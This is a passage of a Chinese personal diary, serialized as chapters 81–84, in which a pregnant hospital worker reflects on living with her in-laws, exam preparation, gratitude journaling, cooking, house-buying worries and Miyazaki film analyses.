    今天真的好热啊！等到家婆回来才知道是因为没有交电费停的电，不过我出了一身汗，身体舒服多了，排出了那些汗液以后身体更清爽一点，这几天都是每天开风扇睡觉，我盖一点被子，不过醒过来的时候发现并没有盖到，要么就是晚上突然醒来把风扇调小一点，老公喜欢开风扇睡觉，因为他身上好热啊！冬天很热夏天也很热。就像一个火炉一样。我有的时候看到他真的觉得很神奇。他喜欢吃咸的菜，我喜欢吃清淡的，他喜欢吹风扇，我一般般，不是特别的喜欢。他喜欢买饮料喝，我不喜欢喝饮料，我认为矿泉水白开水就很好。他喜欢住高楼，我喜欢住的矮一点。他住高楼的原因是因为高一点的楼层不潮湿，没有粉尘，我喜欢住矮一点，因为矮一点的楼层不需要等电梯太久，然后水费会更低，六层楼以上就需要二次供水，水费特别的高，然后住六楼五楼左右吧搬东西也不用很久。所以我们结婚了以后发现真的很神奇，两个人的意见完全相反。他喜欢玩游戏要很久，我也会玩，不过我没有玩很久，一般也就一年玩几次子。不过也和职业有关系，我不需要哪里都去，他的话，需要去好多地方做事情，汗液排的更多，所以需要补充盐分，不然上班没有劲。然后他的工作压力比较大，需要用游戏来调节，我的工作压力也大，不过我用游戏的话压力会更大。所以没有办法玩游戏很爽。玩游戏会让我心里面有不安全的情绪。然后住的方面，他是室内设计师，考虑的东西肯定很多，而我的话一般就看自己身边亲戚住的条件，然后再选择类似的条件，我认为他们住四层五层六层的生活的日子仍然挺好的，所以也就会那样子想。他的话。看的东西更多见得世面多，所以也就知道什么样子的条件更好。
    ，题目已经做到百分之七十了。今天下午再加把劲吧！好多人的正确率都是百分之九十了我的百分之七十到八十左右。需要认真一点。也是因为上午天热所以我睡着了。手机电也没有多少所以就没有做多少题。
    今天做的开心的事:
    第一点，提出了自己的想法，家里人很支持。而且家婆还帮我买好了鸡翅和可乐。下午就自己买一点胡萝卜土豆洋葱西红柿就可以了，冰箱里还有猪肉，本来想要买牛肉的，不过冰箱里还有就用猪肉吧！以后有机会再用牛肉也可以。
    准备下午三点左右去买菜。
    有点可惜没有带到我的自拍杆，我可以拍下来记录这一天，正好可以参加打卡活动，可以有活动奖励，虽然可能一点点，但是积少成多一年下来，有一两百还是挺好的。下次去新房子里拿到来。
    第二突然发现自己没有买到床。好想去挑床啊！可是柜子还没有做好，我应该需要等柜子做好来，再买床吧！不知道我们房间的格局是什么。老公做好了布置，可是我不太能看得懂。
    第三面对于婚姻有一点点领悟。这几天看到很多人来人往的父母，带自己的小孩子看医生。我在想，生活真的就和升级打怪一样，到了某种年龄就需要做很多事情。慢慢的学会独立生存。就像一个班里的学生一样，一个阶段一个阶段的事情需要处理，需要人真的对待，那么事情就会变得好一点，而一到松懈下去，就会断链子。生活里的大学也是这样子。需要学会于家人沟通，与小孩子沟通，学会理解自己，学会理解长辈，伴侣，等各种各样的事情，那样子自己的潜意识就会变得开心起来，那样子家里人也会更幸福一点。更不会一起烦躁。烦躁和抱怨多了，就会变得不开心，大家都不开心。工作与生活都不顺利。可是调解这些有点子难。生活不容易啊！
    第四:昨天有那么一段时间会特别的想要单身，单身虽然比较孤独，但是一个人能够活下去也挺不错的。为什么会这样子想呢？因为我有的时候会很害怕失去自己的感觉。我怕融入到了环境里面，会把我自己给我忘记了。就像在这个家里面。慢慢的看不到我自己的样子，我认为好可怕。虽然我也不知道我的样子是什么。但是总感觉很奇怪。不知道怎么形容的一种奇怪的感觉。一个人的时候，下班了可以看视频，看书，休息的时候可以用做自己喜欢的食物。然后记录下来，我有点享受于这个过程，可是到了和老公还有家公家婆一起生活的家里面，我没有做这些了。因为我没有拿我的东西回来，潜意识里可能不敢，毕竟我在融入一个环境里，我需要慢慢的适应。可是过程慢的让我有点子痛苦。然后去适应长辈，如何适时的拍马屁，这是个对我来说特别的艰难的事情。社恐级别的人，不知道怎么讲。然后对方的话语又该如何分析对方的心理情绪，这个我有点子难。有的时候对方说什么，我都不知道是啥子意思。表达的情绪是什么？不是阅读理解能力不行，而是有点子复杂。所以很讨厌和人说话。因为如果对方散发出来的情绪是负能量爆棚的那种，根本不知道怎么回应。比如社会上的。如果你的长辈每天都在说这个人很不好，那个人很不好，该怎么回？毕竟那个人我又不认识，然后长辈可能也不认识。然后还有有的长辈不认识的人，我可能认识但是一点都不熟系的人，他会和我说对方家长的事，比如身高长相之类的。可是我不认识对方啊！我也不是很想了解对方那么多信息。我不理解我们为什么要谈这个。所以我经常接不出话来。我搞不懂长辈究竟在讲什么？表达的意义是什么？自然而然的说话好像也一般般，真的卡住了一样，不理解，把握不了别人的心理，也不懂为什么需要讲这个？这就是结婚的烦恼。一个人的时候，不需要去面对这个问题，家里人虽然也会讲一些事，但是大部分都是我能理解的，嫁出去了，根本无法理解对方讲了什么。只能沉默以对，我知道久而久之可能会有无趣的标签，或者其他的。可是真的不懂啊！然后那些亲戚我也不太记得住，因为我脸盲。人多了人际关系就变得复杂，很讨厌那种感觉。住的更远了，很想住的离单位近一点，因为上班更方便，特别是晚班。几分钟就能到，现在需要二十分钟左右。回到家洗澡之类的就比较长时间才休息。结婚的好处就是有的东西弄不好的可以让对方帮你。上班老公会接送，下班有的时候家婆会接送，下雨家公会接送，因为怀孕了不能骑车，以后的话肯定是我自己去。所以这个又有点子难。可能我在舒适区待惯了，不喜欢变化那么大吧！懒极了。
    第五新的家有的优点是让我感觉挺温暖的，因为家里人有什么事情都会一起去面对，有一种在一起的感觉。我娘家也有吧！不过没有那么好的条件，所以也做不到。新家会进行一些计划性的旅行。去哪里玩之类的，听起来很好的感觉。毕竟我从毕业到现在在的没有去哪里玩过。不过可能就算有时间去玩，也没有假去吧！现在更赶上了疫情还没有好，估计需要好多年等疫情结束才能去外面游玩了。这点我比较喜欢吧！多看看世界，等以后做梦的时候就能梦见比较美好的场景。我的潜意识里做梦都梦到了很老很老的土砖房子，而且还不是我自己家的是小时候朋友家的，这让我感觉非常的难过，可是不管我怎么梦，最深层的都是梦见她家的老房子，非常无语。所以需要多去见见世面。不过说来也奇怪，为什么我会梦见别人家的老房子呢？可能我在她家玩的比较长时间吧！大概只能这样子解释了。童年阴影可是我又不记得了。

 第81章

    昨天晚上做的罗宋汤和可乐鸡翅还挺好吃的。得到了一致好评。真好。
    挺开心的。不过家公喜欢咸一点的，所以没有分开来。然后汤的水比较多，所以一大锅还剩了一点点。
    老公和家婆都比较喜欢。
    不过夸奖是夸奖，我发现我就会这个汤而已。我可能需要再研究一下，看一下自己能不能学会更多的东西。
    这个也是百度搜的，好多食谱，可以慢慢学习。可乐鸡翅以前做过，不过也需要临时翻菜谱，因为我很少做这个菜。
    挺有成就感的。
    第二个开心的事就是做题的正确率到了百分之八十九的样子。题终于刷完了。开心。然后今天上午休息两个小时再刷几遍。下午考试就更稳一点了。
    第三个下载了一个app里面有好多志同道合的人抠门的人分享的事情。然后我根据线索，玩了一个小游戏收获了一瓶五斤的洗衣液还包邮。有点开心。
    第四个看到了一些家庭主妇的分享，没想到对方吃的那么好一家四口人，一个月的伙食费居然才一千五，全部都是薅ap p的羊毛。好厉害啊！不过整理那些信息也需要很多时间和精力，就像那个游戏搞得我手机有点卡，我需要清理内存。不过还好手机挺过来了。所以看起来有免费的东西，可是我花了好几个小时玩，然后看了一些广告，总的来说并没有免费。可是差价还是比较大的，一瓶四五十块钱呢！收获了就还好。不过玩游戏还是有损失的，损失了我攒了好久的金币。因为玩的时候没有想清楚。不过也还好。划算。
    第五个达成了刷题一千的成就。我还以为我会变得更懒一点，然后就再也做不到这个事了，没有想到我做到了。再接再厉吧！好好用功。
    。。。。。。。。。。。。。
    今天一位老师和我说我可能入围了面试和资格审查名单。可是我并没有看到名单，因为是昨天看的。昨天星期天。上班的人可能休息了，也许今天会出名单来吧！
    还有几天了，我需要继续刷题，医院的题还有一部分没有刷完，加油吧！
    昨天有个小姐姐说有些人考了两百多分，好厉害，好佩服啊！所以我还是比较淡定一点。果然我认为很难的事情，在别人眼里也许很轻松。不过我也考到了我理想中的分数，本来我的心理预期是七八十分左右，没有想到我是八九十分左右。所以我在我自己的心目中已经很优秀了。然后我也不着急。因为很多岗位都需要考。有药剂师，护士，医生。再怎么说他们都是上过全日制大学的人。可能这些人考的比我好，那是很正常的。而我们的竞争赛道不一样。所以我还是在入围名单出来之前有希望的。所以在结果出来之前，不需要有沮丧难受的情绪。我需要保持平静，然后把医院的题目刷完。
    我报考的招一个人，1:3入围的话，至少资格审查有四个人。如果资格审查通过了，那么可以参加面试。我需要做好准备。还好支付宝备好了钱。到时候过了就去问一下同学的面试培训班怎么报名的。我第一开始报的培训班还不错，我考了75.9。不过编制的应该更激烈，所以我可能会去报同学报的那个培训班，因为她考了八十多分的面试分。当然也有可能是因为她本身就很聪明机智的那种。因为和那位同学上班就能感觉到她智商挺高的。这是我不得不承认的事。别人真的比我优秀。心服口服。所以我也加油。有机会我就去参加面试。面试培训班，也可以提升我的认知能力，让我看到我的不足之处。虽然很多人他们不用花钱也能考的很好，但是我不是这样子的人，我需要看清楚自己的不足之处。然后在自己的本质上改进一下。争取进步。
    今天看到了一个故事。听说很多人脑子里都会有侵入性想法，动不动想发火暴力，杀人等等情况。而这个想法其实是大自然里人生存下来的一种衍化。而当自己不去压抑这种想法的时候，那么就会变得轻松下来，而压抑下来就会变得更加的不舒服。这让我想起了十年前看过的瑜伽书里的内容，有一个瑜伽理论里，需要我自己去观察我脑子里的想法，然后慢慢的看着它们，却不跟随那些想法。以前我还看不懂这个书里的内容。直到工作了以后，发现了自己好多负面情绪和想法，然后自己就会认为自己就像阴沟里的老鼠一样，黑乎乎的有点恶心，可是突然看到了这个信息和又突然想到了那个瑜伽的内容。我想这会不会是因为工作压力有点大，所以脑子里才会有侵入性的想法呢？也许是，也许不是吧！总之，两种情况对上了，那么瑜伽的内容就可以好好的学习和使用了。那个好像叫做自觉功。就是训练自己自觉的能力。自己看到周围环境的一切，还有就是看到自己心理环境的一切，然后再进行对心理美好的想象。然后感受那种坏念头，比如嫉妒，伤心难过，愧疚等等，然后再慢慢的看它们，接受它们的存在，并且放下它们，好神奇的啊！
    有很多东西还是需要自己去领悟。等我领悟的东西多了，心里没有了障碍挡我心灵的东西情绪之类的，看到的东西还有世界自然是美好的，而我也会过得顺遂如意。
    这是心灵里的东西吧！毕竟知识的话，这个世界有足够的多，只要有恒心，其实这世界上心里真的想要学习的东西，都能够学会。而我不仅仅需要的是知识这种养分，我需要的是智慧。能够看清楚自己的内心，心无挂碍。活的清醒，快乐。
    以前自己心情很平和安宁，我以为我是个老人家，和别人格格不入，等我成为了别人的心态，我发现我又羡慕原来的自己了，因为看起来我特别多的情绪，可是心里却特别的烦恼和难受，没有那种平和的感觉那么沉着冷静。我很害怕我变成了平和冷静的自己之后我又在羡慕这个羡慕那个，可是我也不知道为什么我会这样子？有可能是因为鱼和熊掌不可兼得的原因。在活泼的情绪里，我理解了别人的痛苦的感受，我明白了很多东西。明白别人的情绪为什么会变得难受，不快乐的原因。在平和的心境里，我能够冷静的做事情，及时把自己该做的事情做好，感觉到开心。总之我看到了那个地方负面的地方，可是它们带给我美好的地方也有，我也收获了很多。
    以前很苦恼不明白的事情，经过了很多折腾，然后我就懂了，就不会折腾了。满足了心灵的需要。这是很重要的人生课程。
    所以人生路上不管发生了什么，都是一件礼物，也许它现在让我感觉很恶心，很痛苦，等我过去了，那就是一种福报。一种礼物一辈子都不再迷茫的礼物。
    加油吧！

 第82章

    今天学到了一篇文章，学完之后我的思考是:父母确实不容易。因为他们处于的社会背景与我们不同。所以他们过得很痛苦很难受。这是一件很悲伤的事情。而在他们面前的我自己也是悲伤和难过的。所以我也需要好好改进自己的潜意识。努力的学习，学习如何爱护我自己，学习如何使自己更好。
    因为我已经成家了，以后生完了孩子，我也需要好好带孩子，需要花费很多的精力。人的精力又是有限的。所以我需要学会在未来迎接焦虑，失眠，睡不着的状态做出很好的调理。
    学会感恩，学会写成功日记。
    突然想到今天还没有写呢！
    第一个成功:我看完了一篇文章，文章里的内容和我前几年思考出来的结论异曲同工，我在前几年很痛苦的时候也是这样子想的，父母很不容易，我选择原谅他们，然后获得了心灵的解脱，今天我看到的文章写的也是这样子的。所以感到了认同，很棒的领悟。
    第二个我从文章里学到了感恩日记。感恩这个事情也是我对同事说过的话。因为同事曾经经历过了很痛苦的情绪。我以前也经历过了，不过我经历的时候我并没有想到那个方法，所以脑子里一直都是负能量满满的那种。不过我是一个想象力很丰富的人，在我的想象里我是看了太多负能量满满的书让我的脑子里蒙上了一层黑影，所以我感受不到光芒的存在，别人对我的好，我都看得到，可是我却仍然在痛苦之中，所以我就脱离了环境，脱离了环境却并没有脱离心理的环境，换了一个环境的自己，仍然每天都在心里骂自己，各种批评，折磨了很久很久，然后又没有办法哭出来，宣泄出来，无论是什么样的方式，都在痛苦之中。所以我就学习了英语，英语流利说，学习这些东西，因为我平时不爱说话，就学那些发音，然后说的声音越来越多，我就发现我的负面情绪更少了，具体什么原因我也不清楚。知识我也不清楚我学到了什么，但是那段时间我非常的快乐。虽然英语我可能忘了，但是我明白了我是个普通人，我记住一个单词需要很多遍，重复四十二遍，我把我领悟到的东西，用在了医院学习里。一开始我的医学是超级烂的，死记硬背也记不住，因为我很焦虑，所以当我的内心变得很平和，接受了我其实很普通，需要很多遍很多遍才能达到别人轻松的成就的时候，我就记住了，去年也就考了三个一百分，虽然去年还是罚了钱，因为操作不及格但是这相对于前年还有大前年来说我很感激去年努力的自己当然肯定还有运气的成分。所以花钱买了五百左右的英语流利说的学习计划，还是挺好的，挺值得的。
    今年来了一个新同事，我感觉她很像那个时候的我自己，负能量爆棚的那种，周围的同事护士长，其实对她都还不错，可是她都在暗示自己不行，做不好。所以她招我聊天，我就扯淡，因为我好讨厌和负能量满满的聊天，我容易受到别人的影响，然后就和她说学会感恩，她周围的那些同事都是很优秀的，她们都在用心的教她，她压力很大的原因在于自己认为自己做的很差，在和她们做比较，新入职的护士肯定比老员工差，很正常，那些老员工都待了五六年了，十多年了，她们工作经验丰富，操作理论水平都非常的棒，新入职的员工肯定需要不停地向老前辈学习才能赶上这个进度。她总是和老师比，认为自己很差，然后心情就很差，那天我就和她扯犊子，告诉对方学会感恩，感谢自己的老师细心而又认真的教育自己，每天都提醒自己要好好学习和努力，但是也客观的看待自己的失败。然后说着说着，发现这个情绪的解决方法其实就是自己当时负能量满满的时候的解决方式。我不知道我扯犊子扯出来的效果怎么样？后来看那个同事非常的努力用功。人好像也变得更自信了。可能我误打误撞的找到了这个情绪的解决方法。所以当今天看到人家写文章的写出来的对自己负能量爆棚的解决方式，居然和自己扯犊子扯出来的一样，就感觉自己很棒。可以记录下来。下次面对这样子的情绪就可以好好的处理。写出感恩日记吧！把那种嫉妒羡慕转化为感恩。认同自己心里面是特别特别的想要变好，变得和其他人一样优秀。然后脚踏实地的一步一步的好起来。真的不可思议，原来这种情绪能量是这样子解决的。当时的我没有想到这个，不过我的方法也有用，虽然途径不同，但是不管黑猫白猫，能抓住事情的猫就是好猫。
    第三个我把文章分享给妹妹了。妹妹暑假在家教弟弟学习。免不了会受妈妈的影响。希望她有所收获吧！可以在暑假里规避风险。做的好。
    第四个。我在文章里，看到了我自己的心理缺陷。那篇文章里写的穷人思维我都有，自卑敏感，等各种负面情绪，我都有。还有各种类型的分析，还有对自己的控制情绪，这些我的脑子还看不太懂，可能我的大脑知道了我的样子，它在帮我藏起我的认知，怕我学会了就不痛苦了吧！毕竟我已经习惯了我的痛苦，哪一天不痛了，我的潜意识可能认为我不正常，所以这些内容我还看不懂。可能需要多看几遍，可能我需要一段时间才能懂。不管怎么样，我知道我是痛苦的，难受的。我需要去解决我自己的问题。我需要学会爱护我自己，哪怕这个过程其实很缓慢。我都需要去经历它。我很高兴我能够清醒的认识这一点。这会是我人生路上的礼物吧！
    第五个我学习了不少单词。我终于执行了我心中所想的事，真棒。谢谢今天亲爱的我自己。真心感谢我自己愿意去行动。
    第六我抹桌子了。看到桌面整理了一下，很棒。
    第七，我煮了中午饭，前几天弟弟说我做的饭难吃，让我备受打击，不过我今天还是要煮了饭，挺好的，做菜的话不知道需要做什么？因为家婆做的饭好吃，我的话还没有她那么熟练，我也在纠结，我是继续偷懒不学习呢？还是学习呢？学习肯定对我自己有好处，因为我把我做过的饭记录下来我时间长了，没准我能开展副业，从此变成有钱人，过上人生巅峰的生活，偷懒的话呢？弟弟会更爱吃家婆做的菜，会有营养。能长高。不足之处呢？就是家婆肯定很累很累。上班时间那么长，还要回来做饭吃。时间长了，她肯定有意见，但是那种意见不会讲出来，就是潜意识里的那种，久而久之我的日子就会过得很艰难，而我自己又感觉不到自己日子很艰难，最好的体现就是什么毛病都有，或者等家婆老了以后，她的潜意识会认为自己很委屈，然后就会生病，会把未来的我自己折磨的要死，现在的我还年轻，等我老了，上有老下有小，要是在一个人生爱你哟之类的，我就会感觉很累。所以还是学习做饭吧！防患于未然。虽然这只是我的想象力，但是还是需要脑子清醒一点，我妈妈都那么恐怖，她们都是同一个年龄段的人，你会天真的认为对方也是那种无私奉献的人吗？想也不用想。我被妈妈折磨的各种精神痛苦我已经不想回忆了，选择原谅，就是选择解脱自己，所以面对家婆也一样，不要认为人家对你好，就真的好，都是有代价的，我又不是人家亲生的女儿。亲生的都讨厌的要死，更不用说不是亲生的。我很高兴我能保持清醒。反正我需要学会做饭，最好能够学会思考怎么做菜就更好了。学会做菜我能发展副业，一年挣两百块，也是好的，然后我还能增长经验，等以后家里来客人了，可以搞定这些事情。反正利大于弊。
    第八文章里写的也确实是！原生家庭很痛苦，所以选择一个人结婚生子，发现对方的家庭和自己差不多，只不过是换了一个火坑跳而已。结婚也是这样子。我有的时候也在抱怨自己脑子进水，那么快就嫁了。抱怨的原因是因为我认为单身比结婚更好。单身的时候我自己可以自由的选择我穿便宜的衣服，还是贵的衣服，虽然我买的便宜的衣服很多，但是并不代表我其实配不上贵的衣服。我想买的时候我能够攒一次钱，买。可是结婚了茶米油盐，对的我只能选择便宜一点的，或者选择不买。因为我需要买房子，我需要攒首付。我在梦里，梦见我拿了我表哥好多衣服，给我老公穿，希望我老公可以省钱，攒首付。因为表哥的衣服很好，小时候我都是穿他的衣服长大的，他也送了很多麻袋的衣服给我，我从小到大都是穿他的衣服。想不到我成家了我还惦记着他的衣服给我省钱。其实我工作了以后，我也到他家拿了几麻袋的衣服，穿，因为我想省买衣服的钱。挺不要脸的，可是那段时间我真的省了点钱，还好吧！这就是月薪只有两千元左右的我能够省钱的原因。因为好多衣服都是穿二手的。现在有拼多多就更好了，因为我可以用很便宜的价格，买到一手的衣服，质量还不错，我终于不需要穿二手衣服了，可是比较好一点的，我还是会选择去咸鱼买，因为我有心里需求，然后我又不想花那么多钱的时候，我就可以选择买。一手的自己喜欢的衣服。本来打算每年买一套的。可是结婚了可能就实现不了这个心愿了。有点失落。不过买房子比衣服更重要，毕竟衣服洗了几次之后，可能就没有那么喜欢了，可是房子买了，却不太容易损耗。

 第83章

    今天。
    现在凌晨一点半。好渴啊！今天家婆做了粉笼床。还好吃。可是太咸了。导致我现在一晚上都在喝水，上厕所，度过的。
    家婆其实也很喜欢吃清淡的饮食，因为家婆有高血压，家婆自己讲的我也不清楚，可是家公喜欢吃咸的。如果搞清淡的，家公吃起来就会没有味道，搞两种一种清淡一种咸，就会有很多重复的步骤，会很累。所以也没有办法。
    我昨天晚上上的晚班，同事还比较好，说晚上就他一个人上，让我休息，因为我怀孕了，他人好照顾孕妇。这个搭档还不错是个好男人，希望他这次执业医师过掉它去。我这样子的想法虽然纯属咸吃萝卜瞎操心，但是还是比较希望人家过关吧！等以后自己有什么小感冒什么的，有熟人更方便的。
    不过我并没有真的这样子做，除非领导说了可以，不然我根本不敢。因为怕欠人情。
    今天我就在家里休息了一天，做了一些题目，睡了一天的觉。昨天的话，怎么叫都叫不醒，睡了一天因为上晚班，小晚班回来之后，一晚上都睡不着，导致昨天白天很困。我的生活节奏是这样子。晚上兴奋，白天状态一般。
    没结婚的时候还能够自由自在的想睡多久睡多久，结婚了，还得注意一下。
    今天感觉家婆的心情很不好，不过我也不清楚是什么原因。可能家公没有回来吃晚饭吧！不懂。
    今天发现老公的眼睛的红血丝很多。他今天休息一天，说最近好累了，上了好多天的班。没想到他的红血丝那么重。可能需要给他买胡萝卜吃了。
    今天叫老公给弟弟买了儿童牛奶喝。因为小孩子的牛奶更适合小孩子喝吧！我们去新家，那里翻出了我买的红薯。有点长芽了，不过搜了百度长芽的红薯也能吃，毕竟红薯叶子都可以吃的。那一箱还好。就带回来了。买了一个西瓜。在超市买的。不过买回来我们并没有吃，因为已经很晚了。喝了一点牛奶，补了钙片，发现自己中午忘记补钙片了，晚上差点忘记了，所以上楼梯的时候脚好酸。
    老公今天好像有一点点不开心，可是我也不知道他为什么不开心。
    今天的天气很奇怪。开电风扇我感觉冷，不开出汗，睡不着。无奈了。
    今天和老公聊天，说如果我一个月工资十万元，分五万元给他，他在家带小孩子搞卫生，他会不会认为很累，很难受，他说可以接受。如果他一个月十万元的月薪，给我五万元，一个月，我也能接受。聊着聊着，他说他会请人喝酒，然后聊到了八二年的拉菲，一瓶七万多，请不起，然后想到了抖音里的小故事，请人喝酒花了三十多万左右。我们就慢慢的没有聊这个话题了。
    今天看了一些宫崎骏的动漫的解析。有点意思，其实我看的时候我都不知道这些是什么意思，只认为很好看。看了红猪的解析。以前我看红猪的时候，完全看不懂。很困的感觉。看了up写的解析之后才知道这个动漫的意义。写的是一个中年男人的心理啊！看完了解析我有点懂又有点不懂，复述一下就是，那个中年男人红猪，他曾经有热爱的东西，自由，梦想，友情爱情。后来随着长大，发现这个世界很残酷，在当飞行员的时候坠毁，还是怎么了，反正没有当军队的飞行员了。他变成了赏金猎人之类的，可是他也变成了猪。他逃避了现实问题。过得看起来自由，其实很孤独的生活然后也没有面对自己的爱情。有一些瞬间他变成了人类的样子，因为被激活了对人生的责任感使命感之类的，可是也只有一瞬间。
    也许慢慢的我们也会这样子吧！这是我的想法。离中年只需要十几年的时间而已。慢慢的爱情被损耗掉，友情的话，我好像从来不交朋友的，所以，它可能不存在然后孤独的话，我好像一直都那么孤独，不管是小时候，还是现在，自由的话，没有感觉到自由与不自由，有种随遇而安的品质，大概就是这日子并不像我心中所想的过得那么舒服，可是忍着忍着好像也就对不舒服的事习惯了，熟视无睹的感觉。也就是说我其实一直都是红猪一样的人，从未改变过。这不在于我的年龄是多少。
    我突然感觉我对老公没有感觉，我感觉我自己是个很冷静的人，冷静到没有感情一样，可是没有感觉的感觉又是一种很平静的状态，没有抱怨什么的情绪。可能我今天比较平静吧！这样子也好，不会受到伤害的情绪。
    我好像很喜欢这种感觉。平静，理智，就不会被负能量打败。可是这其实又说明了，我被打败了，因为舒服的感觉是，自己的情绪和行为都是快乐的，知行合一的。而我的行在我认为正确的路上，可是我的心理状态没有，它属于非常平静的状态。
    有的时候脑子里会冒出想法来:如果老公不需要我了，我们就离婚吧的念头。可是为什么我会有这种念头长出来呢？他对我挺好的呀！可能我变得需求不一样了，一开始是肉体现在是精神需求很强，可能我看到他打游戏，我就百无聊赖的看小说，看的我眼睛很不舒服，突然想出来的吧！
    不用想那么多。婚后的生活和结婚以前其实没有什么区别，只是换一种方式玩手机而已。等娃出来了，才知道日子是如何的水深火热，所以现在的幸福日子，就不要想那么多，该怎么样就怎么样！
    题还没有刷完，今天需要刷完做完。

 第84章

    不知道为什么提不起劲来了。
    做了几个题，还有一堆的题没有做完呢！想要学习英语单词，这几天时间都有，可是不知道为什么用百词斩，用的有点不开心。记不起来。也或者是其他的原因，抄书的时候总感觉自己脑子里在和自己说我只是在做样子而已。不太开心。
    其实努力是什么我也不知道，只知道我需要努力下去。
    最近看了一些人的解析，千与千寻。还有龙猫。还有哈尔的移动城堡，还有风之谷，等等一系列的电影。还不错吧！以后我也会选择不打孩子，做她像龙猫一样守护她心灵的大人吗？但愿吧！风之谷还是很想哭，因为这个太感动了，女主角在我小时候我看了想哭，长大后也看了想哭，然后看别人的解析，还是看了想哭。很不错的电影。哈尔的移动城堡，才知道那个移动城堡代表着哈尔的心灵，原来我看不懂的也看得懂了，真好。还有起风了，起风了，每一个渺小的人都在挣扎的活着。起风了，需要好好活下去。顺利的风，逆境的风，危险的风。等等各种风。都需要好好活下去。原来这些都是这个意思。
    那我现在正在吹着什么风呢？我也判断不出来。
    那就好好学着长大，我需要好好努力的学习。希望我调整心态吧！
    我感觉我的潜意识不想学习。总感觉有黑黑的情绪在心里蔓延。看了很久的视频，看了很多可是也不知道自己收获了多少？
    知道了细辛这种药有小毒，不能超过三克的使用情况。知道了归经的一点点含义，知道了一些作用，白芷。然后的呢？我不太记得了。
    知道了uv胶还有热缩片可以做很漂亮的东西，我好想买啊！可是我舍不得花钱了。我有点伤心，可是我买了我也伤心，因为需要花钱，拼多多可以买一点点更便宜的，可以用热吹风机吹热缩片，然后我买过油画棒，可以用油画棒涂那些热缩片，uv胶好像挺便宜的，可以买。我再等两天，让我心情沉浸一下，我如果两天后我还是很想买我就买。做这个小玩意，可以让我感觉到开心，我就做吧！
    我的钱就是这么流走的。可是我真的很想要给自己留一点点关于这个世界美好的记忆。这是我动手做出来的，那就很快乐了，对吧！
    我今天本来想给家婆捏一下肩膀的，我感觉她有点子累，可是我胆子小，我不敢说话。我没有去做这个事。我也不知道是什么情况。有很多时候对我好的事，我都因为胆子小错过了。我在害怕什么呢？
    我也不知道。这件事对我来说有什么作用？我是在讨好家婆吗？也不是吧！主要是她上班回来还需要做饭给我吃，然后她下班又那么晚，我会感觉她很累很累。情绪也很累，希望给她捏肩膀，她会感觉开心一点。可是我胆子小，我不敢动。
    我也不知道为什么会这样子。
    今天中午吃的鱼，老公买的，昨天做了，不过我吃了太多的西瓜没有吃完，今天喝了好多汤，没有吃太多，不过还是很开心，老公会买鱼给我吃。记录一下，我感觉到的小美好的事情。
    我的心情又变得很糟糕了，因为这几天都在吃鸡蛋，晚上就在哭，这两天我都在看感人肺腑的事情，所以流的眼泪也多，我感觉吃鸡蛋会流泪这个毛病，可以很好的的解决，因为我可以看很多很感动的东西，那么我就可以很畅快的流眼泪了，而且我很久没有流眼泪了，多流一点，好像对我的身体也是一场排毒的作用。
    好像我不太反感吃鸡蛋了。这样想一想的话。
    我最近有点难过，今天星期五了，我还没有做完我的投搞视频，我想要做完，可是我找不到动力了，我的自拍杆还在新房子那里，我好想去拿啊！可是上次我忘记带过来了。可是我心里又有顾虑我怕弟弟会把我的自拍杆弄坏，因为我的黏土都被他玩掉了。其实我有一点点不开心的情绪，可是我没有讲，毕竟他才四五岁的小孩子。我的油画棒也是被他弄断了，这个本来是买给我自己玩的，可是老公说我买了，就不给弟弟玩，太可恶了，可是我买到来是给自己玩的呀！搞得我没有心情玩我的油画棒了，本来还想画一副画的，没心情了。这些事让我有点悲伤。
    结婚了我都没有自己玩东西的空间了。我感觉我在抱怨，我心里有点难受。我记得第一次弟弟在吃泡泡糖，我也好想吃啊，可是老公就没有买给我吃，我也不好意思要，以前有那种想吃的零食，我都可以偷偷的躲起来一个人吃，现在结婚了，没地方躲了，真难过。上班需要一个大人的样子，结婚了在家需要一个大人的样子，我好像没有地方去变成我小孩子的样子了。真实的自己会不会让我自己感觉有毛病？我一边这样子纠结着，一边玩手机。听说大人都是小孩子变来的，可是他们都忘记了自己是一个小孩子，我并没有忘记我是小孩子长成的，可是这又有什么意义呢？环境让我必须像一个大人一样行为处事呢！
    真的让我很闷闷不乐呢！
    我很少提买房的事了。我才提了半个月，这个愿望就变得那么脆弱了吗？
    我得想象一下未来的房子的样子吧！没准我能买上呢？
    现在的生存压力确实挺大的，听到一些亲戚他们买房之后还贷款的事，可能他们压力很大吧！所以我整个人都是负能量满满的那种，和书里面写的买了房就能感觉到世界的美好不同的感觉。可是还是想要买房子。
    我认为他们的原因可能是因为房贷比较多吧。可是哪里的房贷都比较高。怎么省都省不来呢！老公想要买新房子，然后再自己装修一下。好的地段需要七千一平左右。因为我们这里是比较小的县城，五千多的也有不过比较远。因为现实因素，所以没有对新家的幻想了吗？可能有这个原因吧！
    实现自己的理想梦想，其实都需要花费很多的努力，还有精力，朝着这个想法去奋斗，天底下不可能你想了一下就能够得到这些东西的。那样子叫做不劳而获。
    所以我该怎么选择呢？我很想写下来，我想要提升文笔，等几年以后我有可能变成大佬，也能写出很好看的文章，也许我也有收入了呢？对吧未来可期。可是我感觉自己最近一点也不想写，有点迟钝，一会儿信心满满一会儿又无精打采，非常的反复无常。
    也想不到这个世界有什么好奇妙的东西。
    我最近想到了一个事，弟弟之前在弄他的锅，学过家家，很幸福的样子，可是我什么也不会，就这样子看着他，然后我想起了我小时候，我也做过过家家的事，不过我的过家家被家里人丢了，她们都认为我不太正常，可能是因为我玩游戏玩的一身都是泥巴，看起来特别的难看吧！所以我被骂了很久，还学会了撒谎去玩，结果被抓了。把我的过家家的东西都扔了。后来我长大了，妈妈生了妹妹，妹妹也在玩过家家，我也像之前的大人一样，像一个坏人一样阻止她玩，可是我那个时候好讨厌我自己的样子，然后她看着我，等我走了她再玩这个游戏。这个是很久很久以前很小的记忆了。我最近才想起来，原来我经历过那么难受的事，可是我虽然小时候忘记了，但是却把那种愤怒的情绪藏在了灵魂深处一样，然后在我面对其他小朋友的时候，她们在做游戏探索这个奇妙的世界的时候，我只能默默地看着，有的时候我认可大人，不应该玩，有的时候又不想去阻止她们玩游戏。总感觉沉默在一旁的自己特别的可悲。直到有一天看了书，书里面说几岁大的孩子她们在学着探索这个世界，所以他们会玩很多的东西充满了对世界的兴趣。我一点也不太想看这本书，因为这样子会让我看到我自己是那么可怜的一个人，这件事是一件很难过的事。
